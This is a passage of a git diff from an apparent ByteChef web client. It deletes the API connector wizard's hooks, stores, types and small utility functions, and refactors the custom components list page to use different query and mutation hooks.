-            const filteredPaths: Record<string, Record<string, unknown>> = {};
-
-            if (parsed.paths) {
-                Object.entries(parsed.paths).forEach(([path, methods]) => {
-                    Object.entries(methods as Record<string, unknown>).forEach(([method, operation]) => {
-                        const endpointId = `${path}-${method}`;
-
-                        if (selectedEndpointIds.includes(endpointId)) {
-                            if (!filteredPaths[path]) {
-                                filteredPaths[path] = {};
-                            }
-
-                            filteredPaths[path][method] = operation;
-                        }
-                    });
-                });
-            }
-
-            const filteredSpec = {
-                ...parsed,
-                paths: filteredPaths,
-            };
-
-            return yamlStringify(filteredSpec);
-        } catch (error) {
-            console.error('Failed to filter specification:', error);
-
-            return null;
-        }
-    }, [discoveredEndpoints.length, selectedEndpointIds, specification]);
-
-    const handleNext = () => {
-        if (currentStep === 0) {
-            if (!name || !documentationUrl) {
-                return;
-            }
-
-            if (!isValidUrl(documentationUrl)) {
-                toast({
-                    description: 'Please enter a valid URL starting with http:// or https://',
-                    title: 'Invalid URL',
-                    variant: 'destructive',
-                });
-
-                return;
-            }
-
-            setIsProcessing(true);
-            setError(undefined);
-
-            startGenerationMutation.mutate({
-                input: {
-                    documentationUrl,
-                    icon: icon || undefined,
-                    name,
-                    userPrompt: userPrompt || undefined,
-                },
-            });
-        } else {
-            nextStep();
-        }
-    };
-
-    const handleSave = () => {
-        if (!name || !specification) {
-            return;
-        }
-
-        if (selectedEndpointIds.length === 0) {
-            toast({
-                description: 'Please select at least one endpoint before saving.',
-                title: 'No endpoints selected',
-                variant: 'destructive',
-            });
-
-            return;
-        }
-
-        const filteredSpecification = getSpecificationFilteredBySelectedEndpoints();
-
-        if (!filteredSpecification) {
-            toast({
-                description: 'Failed to filter endpoints. Please try again.',
-                title: 'Error',
-                variant: 'destructive',
-            });
-
-            return;
-        }
-
-        importOpenApiSpecificationMutation.mutate({
-            input: {
-                icon: icon || undefined,
-                name,
-                specification: filteredSpecification,
-            },
-        });
-    };
-
-    const handleCancel = async () => {
-        if (jobId && isProcessing) {
-            try {
-                await cancelGenerationMutation.mutateAsync({jobId});
-            } catch (error) {
-                console.error('Failed to cancel generation job:', error);
-
-                toast({
-                    description: 'The generation job may still be running on the server. You can try again later.',
-                    title: 'Failed to cancel generation',
-                    variant: 'destructive',
-                });
-            }
-        }
-
-        reset();
-        navigate(API_CONNECTORS_PATH);
-    };
-
-    const canProceed = (() => {
-        if (currentStep === 0) {
-            return !!name && !!documentationUrl;
-        }
-
-        if (currentStep === 1) {
-            return selectedEndpointIds.length > 0;
-        }
-
-        return true;
-    })();
-
-    const isPending = importOpenApiSpecificationMutation.isPending || startGenerationMutation.isPending;
-
-    return {
-        canProceed,
-        currentStep,
-        handleCancel,
-        handleNext,
-        handleSave,
-        isPending,
-        isProcessing,
-        previousStep,
-    };
-};
-
-export default useApiConnectorAiPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorImportPage.ts b/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorImportPage.ts
deleted file mode 100644
index 6510ec77f9e..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorImportPage.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {useEffect} from 'react';
-
-import {useApiConnectorWizardStore} from '../../stores/useApiConnectorWizardStore';
-import useImportApiConnector from './useImportApiConnector';
-
-interface UseApiConnectorImportPageI {
-    canProceed: boolean;
-    currentStep: number;
-    handleCancel: () => void;
-    handleNext: () => void;
-    handleSave: () => void;
-    isPending: boolean;
-    previousStep: () => void;
-}
-
-const useApiConnectorImportPage = (): UseApiConnectorImportPageI => {
-    const {currentStep, name, nextStep, previousStep, reset, specification} = useApiConnectorWizardStore();
-
-    const {handleCancel, handleSave, isPending} = useImportApiConnector();
-
-    useEffect(() => {
-        reset();
-    }, [reset]);
-
-    const handleNext = () => {
-        nextStep();
-    };
-
-    const canProceed = (() => {
-        if (currentStep === 0) {
-            return !!name && !!specification;
-        }
-
-        return true;
-    })();
-
-    return {
-        canProceed,
-        currentStep,
-        handleCancel,
-        handleNext,
-        handleSave,
-        isPending,
-        previousStep,
-    };
-};
-
-export default useApiConnectorImportPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorManualPage.ts b/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorManualPage.ts
deleted file mode 100644
index e375649f0c4..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useApiConnectorManualPage.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {useEffect} from 'react';
-
-import {useApiConnectorWizardStore} from '../../stores/useApiConnectorWizardStore';
-import useImportApiConnector from './useImportApiConnector';
-
-interface UseApiConnectorManualPageI {
-    canProceed: boolean;
-    currentStep: number;
-    handleCancel: () => void;
-    handleNext: () => void;
-    handleSave: () => void;
-    isPending: boolean;
-    previousStep: () => void;
-}
-
-const useApiConnectorManualPage = (): UseApiConnectorManualPageI => {
-    const {currentStep, endpoints, name, nextStep, previousStep, reset} = useApiConnectorWizardStore();
-
-    const {handleCancel, handleSave, isPending} = useImportApiConnector();
-
-    useEffect(() => {
-        reset();
-    }, [reset]);
-
-    const handleNext = () => {
-        nextStep();
-    };
-
-    const canProceed = (() => {
-        if (currentStep === 0) {
-            return !!name;
-        }
-
-        return endpoints.length > 0;
-    })();
-
-    return {
-        canProceed,
-        currentStep,
-        handleCancel,
-        handleNext,
-        handleSave,
-        isPending,
-        previousStep,
-    };
-};
-
-export default useApiConnectorManualPage;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useImportApiConnector.ts b/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useImportApiConnector.ts
deleted file mode 100644
index c9f584d6717..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/pages/hooks/useImportApiConnector.ts
+++ /dev/null
@@ -1,58 +0,0 @@
-import {useImportOpenApiSpecificationMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useNavigate} from 'react-router-dom';
-
-import {useApiConnectorWizardStore} from '../../stores/useApiConnectorWizardStore';
-
-export const API_CONNECTORS_PATH = '/automation/settings/api-connectors';
-
-interface UseImportApiConnectorI {
-    handleCancel: () => void;
-    handleSave: () => void;
-    isPending: boolean;
-}
-
-const useImportApiConnector = (): UseImportApiConnectorI => {
-    const {icon, name, reset, specification} = useApiConnectorWizardStore();
-
-    const navigate = useNavigate();
-    const queryClient = useQueryClient();
-
-    const onSuccess = () => {
-        queryClient.invalidateQueries({
-            queryKey: ['apiConnectors'],
-        });
-
-        reset();
-        navigate(API_CONNECTORS_PATH);
-    };
-
-    const importOpenApiSpecificationMutation = useImportOpenApiSpecificationMutation({onSuccess});
-
-    const handleSave = () => {
-        if (!name || !specification) {
-            return;
-        }
-
-        importOpenApiSpecificationMutation.mutate({
-            input: {
-                icon: icon || undefined,
-                name,
-                specification,
-            },
-        });
-    };
-
-    const handleCancel = () => {
-        reset();
-        navigate(API_CONNECTORS_PATH);
-    };
-
-    return {
-        handleCancel,
-        handleSave,
-        isPending: importOpenApiSpecificationMutation.isPending,
-    };
-};
-
-export default useImportApiConnector;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/stores/useApiConnectorWizardStore.ts b/client/src/ee/pages/settings/platform/api-connectors/stores/useApiConnectorWizardStore.ts
deleted file mode 100644
index 89349c8c22d..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/stores/useApiConnectorWizardStore.ts
+++ /dev/null
@@ -1,154 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-import {
-    ApiConnectorWizardStoreType,
-    DiscoveredEndpointI,
-    EndpointDefinitionI,
-} from '../types/api-connector-wizard.types';
-
-const initialState = {
-    baseUrl: undefined,
-    currentStep: 0,
-    discoveredEndpoints: [] as DiscoveredEndpointI[],
-    discoveryJobId: null as string | null,
-    documentationUrl: undefined,
-    endpoints: [],
-    error: undefined,
-    icon: undefined,
-    isProcessing: false,
-    jobId: null as string | null,
-    name: '',
-    selectedEndpointIds: [] as string[],
-    specification: undefined,
-    userPrompt: undefined,
-};
-
-export const useApiConnectorWizardStore = create<ApiConnectorWizardStoreType>()(
-    devtools(
-        (set, get) => ({
-            ...initialState,
-
-            addEndpoint: (endpoint: EndpointDefinitionI) => {
-                const {endpoints} = get();
-
-                set({endpoints: [...endpoints, endpoint]});
-            },
-
-            deselectAllEndpoints: () => {
-                set({selectedEndpointIds: []});
-            },
-
-            nextStep: () => {
-                const {currentStep} = get();
-
-                set({currentStep: currentStep + 1});
-            },
-
-            previousStep: () => {
-                const {currentStep} = get();
-
-                if (currentStep > 0) {
-                    set({currentStep: currentStep - 1});
-                }
-            },
-
-            removeEndpoint: (id: string) => {
-                const {endpoints} = get();
-
-                set({
-                    endpoints: endpoints.filter((endpoint) => endpoint.id !== id),
-                });
-            },
-
-            reset: () => {
-                set(initialState);
-            },
-
-            selectAllEndpoints: () => {
-                const {discoveredEndpoints} = get();
-
-                set({selectedEndpointIds: discoveredEndpoints.map((endpoint) => endpoint.id)});
-            },
-
-            setBaseUrl: (url: string) => {
-                set({baseUrl: url});
-            },
-
-            setCurrentStep: (step: number) => {
-                set({currentStep: step});
-            },
-
-            setDiscoveredEndpoints: (discoveredEndpoints: DiscoveredEndpointI[]) => {
-                set({discoveredEndpoints});
-            },
-
-            setDiscoveryJobId: (discoveryJobId: string | null) => {
-                set({discoveryJobId});
-            },
-
-            setDocumentationUrl: (url: string) => {
-                set({documentationUrl: url});
-            },
-
-            setEndpoints: (endpoints: EndpointDefinitionI[]) => {
-                set({endpoints});
-            },
-
-            setError: (error?: string) => {
-                set({error});
-            },
-
-            setIcon: (icon: string) => {
-                set({icon});
-            },
-
-            setIsProcessing: (isProcessing: boolean) => {
-                set({isProcessing});
-            },
-
-            setJobId: (jobId: string | null) => {
-                set({jobId});
-            },
-
-            setName: (name: string) => {
-                set({name});
-            },
-
-            setSelectedEndpointIds: (selectedEndpointIds: string[]) => {
-                set({selectedEndpointIds});
-            },
-
-            setSpecification: (specification?: string) => {
-                set({specification});
-            },
-
-            setUserPrompt: (userPrompt: string) => {
-                set({userPrompt});
-            },
-
-            toggleEndpointSelection: (id: string) => {
-                const {selectedEndpointIds} = get();
-
-                if (selectedEndpointIds.includes(id)) {
-                    set({selectedEndpointIds: selectedEndpointIds.filter((endpointId) => endpointId !== id)});
-                } else {
-                    set({selectedEndpointIds: [...selectedEndpointIds, id]});
-                }
-            },
-
-            updateEndpoint: (id: string, updatedFields: Partial<EndpointDefinitionI>) => {
-                const {endpoints} = get();
-
-                set({
-                    endpoints: endpoints.map((endpoint) =>
-                        endpoint.id === id ? {...endpoint, ...updatedFields} : endpoint
-                    ),
-                });
-            },
-        }),
-        {
-            name: 'bytechef.api-connector-wizard',
-        }
-    )
-);
diff --git a/client/src/ee/pages/settings/platform/api-connectors/stores/useEndpointDetailPanelStore.ts b/client/src/ee/pages/settings/platform/api-connectors/stores/useEndpointDetailPanelStore.ts
deleted file mode 100644
index eae9d777a2f..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/stores/useEndpointDetailPanelStore.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import {ApiConnectorEndpoint} from '@/shared/middleware/graphql';
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-// Duration to wait before clearing panel state after closing.
-// Matches the Sheet component's slide-out animation duration to prevent visual flickering.
-const PANEL_CLOSE_ANIMATION_DELAY_MS = 300;
-
-interface EndpointDetailPanelStateI {
-    apiConnectorName?: string;
-    closePanel: () => void;
-    closePanelTimeoutId: ReturnType<typeof setTimeout> | null;
-    isOpen: boolean;
-    openPanel: (endpoint: ApiConnectorEndpoint, apiConnectorName: string, specification?: string) => void;
-    selectedEndpoint?: ApiConnectorEndpoint;
-    specification?: string;
-}
-
-export const useEndpointDetailPanelStore = create<EndpointDetailPanelStateI>()(
-    devtools(
-        (set, get) => ({
-            apiConnectorName: undefined,
-
-            closePanel: () => {
-                const {closePanelTimeoutId} = get();
-
-                if (closePanelTimeoutId) {
-                    clearTimeout(closePanelTimeoutId);
-                }
-
-                set({isOpen: false});
-
-                const timeoutId = setTimeout(() => {
-                    set({
-                        apiConnectorName: undefined,
-                        closePanelTimeoutId: null,
-                        selectedEndpoint: undefined,
-                        specification: undefined,
-                    });
-                }, PANEL_CLOSE_ANIMATION_DELAY_MS);
-
-                set({closePanelTimeoutId: timeoutId});
-            },
-
-            closePanelTimeoutId: null,
-
-            isOpen: false,
-
-            openPanel: (endpoint: ApiConnectorEndpoint, apiConnectorName: string, specification?: string) => {
-                const {closePanelTimeoutId} = get();
-
-                if (closePanelTimeoutId) {
-                    clearTimeout(closePanelTimeoutId);
-                    set({closePanelTimeoutId: null});
-                }
-
-                set({
-                    apiConnectorName,
-                    isOpen: true,
-                    selectedEndpoint: endpoint,
-                    specification,
-                });
-            },
-
-            selectedEndpoint: undefined,
-            specification: undefined,
-        }),
-        {
-            name: 'bytechef.endpoint-detail-panel',
-        }
-    )
-);
diff --git a/client/src/ee/pages/settings/platform/api-connectors/types/api-connector-wizard.types.ts b/client/src/ee/pages/settings/platform/api-connectors/types/api-connector-wizard.types.ts
deleted file mode 100644
index f57d34648b3..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/types/api-connector-wizard.types.ts
+++ /dev/null
@@ -1,110 +0,0 @@
-import {HttpMethod} from '@/shared/middleware/graphql';
-
-export type ParameterLocationType = 'query' | 'path' | 'header';
-
-export type ParameterTypeType = 'string' | 'number' | 'integer' | 'boolean' | 'array' | 'object';
-
-export type WizardModeType = 'manual' | 'import' | 'ai';
-
-export interface ApiConnectorWizardActionsI {
-    addEndpoint: (endpoint: EndpointDefinitionI) => void;
-    deselectAllEndpoints: () => void;
-    nextStep: () => void;
-    previousStep: () => void;
-    removeEndpoint: (id: string) => void;
-    reset: () => void;
-    selectAllEndpoints: () => void;
-    setBaseUrl: (url: string) => void;
-    setCurrentStep: (step: number) => void;
-    setDiscoveredEndpoints: (endpoints: DiscoveredEndpointI[]) => void;
-    setDiscoveryJobId: (jobId: string | null) => void;
-    setDocumentationUrl: (url: string) => void;
-    setEndpoints: (endpoints: EndpointDefinitionI[]) => void;
-    setError: (error?: string) => void;
-    setIcon: (icon: string) => void;
-    setIsProcessing: (isProcessing: boolean) => void;
-    setJobId: (jobId: string | null) => void;
-    setName: (name: string) => void;
-    setSelectedEndpointIds: (ids: string[]) => void;
-    setSpecification: (specification?: string) => void;
-    setUserPrompt: (userPrompt: string) => void;
-    toggleEndpointSelection: (id: string) => void;
-    updateEndpoint: (id: string, endpoint: Partial<EndpointDefinitionI>) => void;
-}
-
-export interface ApiConnectorWizardStateI {
-    baseUrl?: string;
-    currentStep: number;
-    discoveredEndpoints: DiscoveredEndpointI[];
-    discoveryJobId: string | null;
-    documentationUrl?: string;
-    endpoints: EndpointDefinitionI[];
-    error?: string;
-    icon?: string;
-    isProcessing: boolean;
-    jobId: string | null;
-    name: string;
-    selectedEndpointIds: string[];
-    specification?: string;
-    userPrompt?: string;
-}
-
-export interface EndpointDefinitionI {
-    description?: string;
-    httpMethod: HttpMethod;
-    id: string;
-    operationId: string;
-    parameters: ParameterDefinitionI[];
-    path: string;
-    requestBody?: RequestBodyDefinitionI;
-    responses: ResponseDefinitionI[];
-    summary?: string;
-}
-
-export interface ParameterDefinitionI {
-    description?: string;
-    example?: string;
-    id: string;
-    in: ParameterLocationType;
-    name: string;
-    required: boolean;
-    type: ParameterTypeType;
-}
-
-export interface RequestBodyDefinitionI {
-    contentType: string;
-    description?: string;
-    required: boolean;
-    schema: string;
-}
-
-export interface ResponseDefinitionI {
-    contentType?: string;
-    description: string;
-    schema?: string;
-    statusCode: string;
-}
-
-export type ApiConnectorWizardStoreType = ApiConnectorWizardActionsI & ApiConnectorWizardStateI;
-
-export interface DiscoveredEndpointI {
-    id: string;
-    method: string;
-    path: string;
-    resource: string;
-    summary?: string;
-}
-
-export const WIZARD_STEPS: Record<WizardModeType, string[]> = {
-    ai: ['Basic Info', 'Select Endpoints', 'Review'],
-    import: ['Import File', 'Review'],
-    manual: ['Basic Info', 'Define Endpoints', 'Review'],
-};
-
-export function getStepCount(mode: WizardModeType): number {
-    return WIZARD_STEPS[mode].length;
-}
-
-export function getStepName(mode: WizardModeType, step: number): string {
-    return WIZARD_STEPS[mode][step] || '';
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/utils/endpointEditor-utils.ts b/client/src/ee/pages/settings/platform/api-connectors/utils/endpointEditor-utils.ts
deleted file mode 100644
index 46a255801fe..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/utils/endpointEditor-utils.ts
+++ /dev/null
@@ -1,42 +0,0 @@
-import {ParameterLocationType} from '../types/api-connector-wizard.types';
-
-/**
- * Returns the display label for a parameter location type.
- */
-export const getLocationLabel = (location: ParameterLocationType): string => {
-    switch (location) {
-        case 'query':
-            return 'Query';
-        case 'path':
-            return 'Path';
-        case 'header':
-            return 'Header';
-        default:
-            return location;
-    }
-};
-
-/**
- * Returns the Tailwind CSS background and text color classes for an HTTP status code.
- */
-export const getStatusCodeColor = (statusCode: string): string => {
-    const code = parseInt(statusCode, 10);
-
-    if (code >= 200 && code < 300) {
-        return 'bg-green-100 text-green-800';
-    }
-
-    if (code >= 300 && code < 400) {
-        return 'bg-blue-100 text-blue-800';
-    }
-
-    if (code >= 400 && code < 500) {
-        return 'bg-yellow-100 text-yellow-800';
-    }
-
-    if (code >= 500) {
-        return 'bg-red-100 text-red-800';
-    }
-
-    return 'bg-gray-100 text-gray-800';
-};
diff --git a/client/src/ee/pages/settings/platform/api-connectors/utils/httpMethod-utils.ts b/client/src/ee/pages/settings/platform/api-connectors/utils/httpMethod-utils.ts
deleted file mode 100644
index 0e9c622b3c6..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/utils/httpMethod-utils.ts
+++ /dev/null
@@ -1,43 +0,0 @@
-import {HttpMethod} from '@/shared/middleware/graphql';
-
-/**
- * Returns the Tailwind CSS text color class for an HTTP method badge.
- * Used for outline-style badges across API connector components.
- */
-export const getHttpMethodBadgeColor = (method?: HttpMethod | null): string => {
-    switch (method) {
-        case HttpMethod.Get:
-            return 'text-content-brand-primary';
-        case HttpMethod.Post:
-            return 'text-content-success-primary';
-        case HttpMethod.Put:
-            return 'text-content-warning-primary';
-        case HttpMethod.Patch:
-            return 'text-orange-700';
-        case HttpMethod.Delete:
-            return 'text-content-destructive-primary';
-        default:
-            return 'text-gray-700';
-    }
-};
-
-/**
- * Returns the Tailwind CSS background and text color classes for an HTTP method pill.
- * Used for filled-style badges in endpoint selection lists.
- */
-export const getHttpMethodPillColor = (method?: string | null): string => {
-    switch (method?.toUpperCase()) {
-        case 'GET':
-            return 'bg-green-100 text-green-800';
-        case 'POST':
-            return 'bg-blue-100 text-blue-800';
-        case 'PUT':
-            return 'bg-yellow-100 text-yellow-800';
-        case 'PATCH':
-            return 'bg-orange-100 text-orange-800';
-        case 'DELETE':
-            return 'bg-red-100 text-red-800';
-        default:
-            return 'bg-gray-100 text-gray-800';
-    }
-};
diff --git a/client/src/ee/pages/settings/platform/api-connectors/utils/json-utils.ts b/client/src/ee/pages/settings/platform/api-connectors/utils/json-utils.ts
deleted file mode 100644
index 49de1fffac5..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/utils/json-utils.ts
+++ /dev/null
@@ -1,58 +0,0 @@
-import {toast} from '@/hooks/use-toast';
-
-interface SafeJsonParseResultI {
-    /** The parsed JSON data, or an empty object if parsing failed */
-    data: Record<string, unknown>;
-    /** Whether the parse succeeded (true) or failed (false) */
-    success: boolean;
-}
-
-/**
- * Safely parses a JSON string with error handling and optional toast notifications.
- * Returns an empty object on parse failure instead of throwing.
- *
- * @param jsonString - The JSON string to parse. If undefined/empty, returns {data: {}, success: true}
- * @param context - Optional context for the error message (e.g., "request body schema"). Used in toast and console log.
- * @param showToast - Whether to show a toast notification on parse failure (default: true).
- *                    Set to false when you want to handle the error silently (e.g., validation checks).
- *                    The `success` field in the return value indicates whether parsing succeeded regardless of this setting.
- * @returns Object with `data` (parsed result or empty object) and `success` (boolean indicating parse success)
- *
- * @example
- * // With toast on failure (default)
- * const {data, success} = safeJsonParse(jsonString, 'request body');
- *
- * @example
- * // Silent validation (no toast)
- * const {success} = safeJsonParse(jsonString, undefined, false);
- * if (!success) {
- *   // Handle validation failure manually
- * }
- */
-export const safeJsonParse = (
-    jsonString: string | undefined,
-    context?: string,
-    showToast = true
-): SafeJsonParseResultI => {
-    if (!jsonString) {
-        return {data: {}, success: true};
-    }
-
-    try {
-        return {data: JSON.parse(jsonString) as Record<string, unknown>, success: true};
-    } catch (error) {
-        console.error(`Failed to parse JSON${context ? ` for ${context}` : ''}:`, error);
-
-        if (showToast) {
-            toast({
-                description: context
-                    ? `Invalid JSON in ${context}. Using empty object.`
-                    : 'Invalid JSON format. Using empty object.',
-                title: 'Invalid JSON',
-                variant: 'destructive',
-            });
-        }
-
-        return {data: {}, success: false};
-    }
-};
diff --git a/client/src/ee/pages/settings/platform/custom-components/CustomComponents.tsx b/client/src/ee/pages/settings/platform/custom-components/CustomComponents.tsx
index 75db2bc2d6a..b338c770ea0 100644
--- a/client/src/ee/pages/settings/platform/custom-components/CustomComponents.tsx
+++ b/client/src/ee/pages/settings/platform/custom-components/CustomComponents.tsx
@@ -1,42 +1,31 @@
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
 import CustomComponentList from '@/ee/pages/settings/platform/custom-components/components/CustomComponentList';
-import UploadCustomComponentDialog from '@/ee/pages/settings/platform/custom-components/components/UploadCustomComponentDialog';
+import {useGetCustomComponentsQuery} from '@/ee/pages/settings/platform/custom-components/queries/customComponents.queries';
 import Header from '@/shared/layout/Header';
 import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {useCustomComponentsQuery} from '@/shared/middleware/graphql';
 import {Link2Icon} from 'lucide-react';
 
 const CustomComponents = () => {
     const {
-        data: customComponentsData,
-        error: customComponentsError,
-        isLoading: customComponentsLoading,
-    } = useCustomComponentsQuery();
-
-    const customComponents = customComponentsData?.customComponents;
+        data: customComponents,
+        error: apiConnectorsError,
+        isLoading: apiConnectorsLoading,
+    } = useGetCustomComponentsQuery();
 
     return (
         <LayoutContainer
             header={
                 customComponents &&
-                customComponents.length > 0 && (
-                    <Header
-                        centerTitle={true}
-                        position="main"
-                        right={<UploadCustomComponentDialog />}
-                        title="Custom Components"
-                    />
-                )
+                customComponents.length > 0 && <Header centerTitle={true} position="main" title="Custom Components" />
             }
             leftSidebarOpen={false}
         >
-            <PageLoader errors={[customComponentsError]} loading={customComponentsLoading}>
+            <PageLoader errors={[apiConnectorsError]} loading={apiConnectorsLoading}>
                 {customComponents && customComponents?.length > 0 ? (
                     <CustomComponentList customComponents={customComponents} />
                 ) : (
                     <EmptyList
-                        button={<UploadCustomComponentDialog />}
                         icon={<Link2Icon className="size-12 text-gray-400" />}
                         message="You do not have any Custom Components created yet."
                         title="No Custom Components"
diff --git a/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentList.tsx b/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentList.tsx
index 7dad8ef8656..2c611be9f34 100644
--- a/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentList.tsx
+++ b/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentList.tsx
@@ -1,4 +1,4 @@
-import {CustomComponent} from '@/shared/middleware/graphql';
+import {CustomComponent} from '@/ee/shared/middleware/platform/custom-component';
 
 import CustomComponentListItem from './CustomComponentListItem';
 
diff --git a/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentListItem.tsx b/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentListItem.tsx
index b02ee390966..8594a684334 100644
--- a/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentListItem.tsx
+++ b/client/src/ee/pages/settings/platform/custom-components/components/CustomComponentListItem.tsx
@@ -1,19 +1,17 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import LoadingIcon from '@/components/LoadingIcon';
-import {Collapsible, CollapsibleContent, CollapsibleTrigger} from '@/components/ui/collapsible';
+import {Button} from '@/components/ui/button';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {Switch} from '@/components/ui/switch';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import CustomComponentDeleteAlertDialog from '@/ee/pages/settings/platform/custom-components/components/CustomComponentDeleteAlertDialog';
 import {
-    CustomComponent,
-    useCustomComponentDefinitionQuery,
     useDeleteCustomComponentMutation,
     useEnableCustomComponentMutation,
-} from '@/shared/middleware/graphql';
+} from '@/ee/pages/settings/platform/custom-components/mutations/customComponents.mutations';
+import {CustomComponentKeys} from '@/ee/pages/settings/platform/custom-components/queries/customComponents.queries';
+import {CustomComponent} from '@/ee/shared/middleware/platform/custom-component';
 import {useQueryClient} from '@tanstack/react-query';
-import {ChevronDownIcon, ChevronRightIcon, EllipsisVerticalIcon, ZapIcon} from 'lucide-react';
+import {EllipsisVerticalIcon} from 'lucide-react';
 import {useState} from 'react';
 
 interface CustomComponentItemProps {
@@ -43,14 +41,13 @@ const Title = ({customComponent}: {customComponent: CustomComponent}) => {
 
 const CustomComponentListItem = ({customComponent}: CustomComponentItemProps) => {
     const [showDeleteDialog, setShowDeleteDialog] = useState(false);
-    const [isExpanded, setIsExpanded] = useState(false);
 
     const queryClient = useQueryClient();
 
     const deleteCustomComponentMutation = useDeleteCustomComponentMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({
-                queryKey: ['customComponents'],
+                queryKey: CustomComponentKeys.customComponents,
             });
         },
     });
@@ -58,21 +55,14 @@ const CustomComponentListItem = ({customComponent}: CustomComponentItemProps) =>
     const enableCustomComponentMutation = useEnableCustomComponentMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({
-                queryKey: ['customComponents'],
+                queryKey: CustomComponentKeys.customComponents,
             });
         },
     });
 
-    const {data: definitionData, isLoading: isLoadingDefinition} = useCustomComponentDefinitionQuery(
-        {id: customComponent.id},
-        {
-            enabled: isExpanded,
-        }
-    );
-
     const handleAlertDeleteDialogClick = () => {
         if (customComponent.id) {
-            deleteCustomComponentMutation.mutate({id: customComponent.id});
+            deleteCustomComponentMutation.mutate(customComponent.id);
 
             setShowDeleteDialog(false);
         }
@@ -81,186 +71,86 @@ const CustomComponentListItem = ({customComponent}: CustomComponentItemProps) =>
     const handleOnCheckedChange = (value: boolean) => {
         enableCustomComponentMutation.mutate({
             enable: value,
-            id: customComponent.id,
+            id: customComponent.id!,
         });
     };
 
-    const actions = definitionData?.customComponentDefinition?.actions ?? [];
-    const triggers = definitionData?.customComponentDefinition?.triggers ?? [];
-
     return (
-        <Collapsible onOpenChange={setIsExpanded} open={isExpanded}>
-            <div className="w-full rounded-md px-2 py-5 hover:bg-gray-50">
-                <div className="flex items-center justify-between">
-                    <div className="flex flex-1 items-center gap-x-2">
-                        <CollapsibleTrigger asChild>
-                            <Button
-                                className="size-6 p-0"
-                                icon={
-                                    isExpanded ? (
-                                        <ChevronDownIcon className="size-4 text-gray-500" />
-                                    ) : (
-                                        <ChevronRightIcon className="size-4 text-gray-500" />
-                                    )
-                                }
-                                size="icon"
-                                variant="ghost"
-                            />
-                        </CollapsibleTrigger>
-
-                        <div className="flex-1">
-                            <div className="flex items-center justify-between">
-                                <div className="flex w-full items-center justify-between">
-                                    {customComponent.description ? (
-                                        <Tooltip>
-                                            <TooltipTrigger>
-                                                <Title customComponent={customComponent} />
-                                            </TooltipTrigger>
-
-                                            <TooltipContent>{customComponent.description}</TooltipContent>
-                                        </Tooltip>
-                                    ) : (
-                                        <div className="space-x-1">
-                                            <Title customComponent={customComponent} />
-                                        </div>
-                                    )}
+        <div className="w-full rounded-md px-2 py-5 hover:bg-gray-50">
+            <div className="flex items-center justify-between">
+                <div className="flex-1">
+                    <div className="flex items-center justify-between">
+                        <div className="flex w-full items-center justify-between">
+                            {customComponent.description ? (
+                                <Tooltip>
+                                    <TooltipTrigger>
+                                        <Title customComponent={customComponent} />
+                                    </TooltipTrigger>
+
+                                    <TooltipContent>{customComponent.description}</TooltipContent>
+                                </Tooltip>
+                            ) : (
+                                <div className="space-x-1">
+                                    <Title customComponent={customComponent} />
                                 </div>
-                            </div>
-                        </div>
-                    </div>
-
-                    <div className="flex items-center justify-end gap-x-6">
-                        <div>
-                            {customComponent.language && (
-                                <Badge
-                                    className="flex w-24 items-center justify-center"
-                                    label={customComponent.language}
-                                    styleType="secondary-filled"
-                                    weight="semibold"
-                                />
                             )}
                         </div>
-
-                        <div className="flex flex-col items-end gap-y-4">
-                            <Switch
-                                checked={customComponent.enabled ?? false}
-                                onCheckedChange={handleOnCheckedChange}
-                            />
-
-                            <Tooltip>
-                                <TooltipTrigger className="flex items-center text-sm text-gray-500">
-                                    {customComponent.lastModifiedDate ? (
-                                        <span className="text-xs">
-                                            {`Modified at ${new Date(customComponent.lastModifiedDate).toLocaleDateString()} ${new Date(customComponent.lastModifiedDate).toLocaleTimeString()}`}
-                                        </span>
-                                    ) : (
-                                        '-'
-                                    )}
-                                </TooltipTrigger>
-
-                                <TooltipContent>Created Date</TooltipContent>
-                            </Tooltip>
-                        </div>
-
-                        <DropdownMenu>
-                            <DropdownMenuTrigger asChild>
-                                <Button
-                                    icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
-                            </DropdownMenuTrigger>
-
-                            <DropdownMenuContent align="end">
